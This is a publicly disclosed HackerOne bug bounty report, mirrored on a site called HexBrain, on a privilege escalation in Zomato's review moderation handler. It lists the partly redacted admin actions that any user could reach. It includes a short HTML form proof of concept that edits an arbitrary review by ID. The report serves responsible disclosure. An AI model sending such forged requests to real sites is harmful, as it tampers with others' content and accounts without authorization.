HexBrain

Eternal · Report #300099

[www.zomato.com] Privilege Escalation - Control reviews - /████dashboard_handler.php

Validstatus
$300bounty
18upvotes
29 Mar 2018disclosed

How it was found

#Introduction The handler that controls all the ███ actions for reviews is accessible for any user. The following actions are thus being left open to anyone:

get_manager_status
read███████
unread██████████
████████
feature██████
unfeature████████
moderate████
unmoderate█████
drop
███
send_mail
█████████
revoke
mark-spam
spam-revoke
remove-██████
add-█████████
reject_reported█████████
███████

Taken from the following [██████████]████████

#POC This POC will use the action ██████ since it easily allows us to edit any review on Zomato.com. More severe options could be ██████ to read user info.

<form action="https://www.zomato.com/██████████dashboard_handler.php" method="POST">
      <input type="hidden" name="action" value="█████" />
      <input type="hidden" name="review_id" value="31268525" />
      <input type="hidden" name="review" value="Privilege+Escalation" />
      <input type="submit" value="Submit request" />
</form>

Go to https://www.zomato.com/review/QvneAY and see the review has changed.

Impact

Any user is able to control all the ████ actions for the reviews section including emailing, deleting, editing and adding to ██████████.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original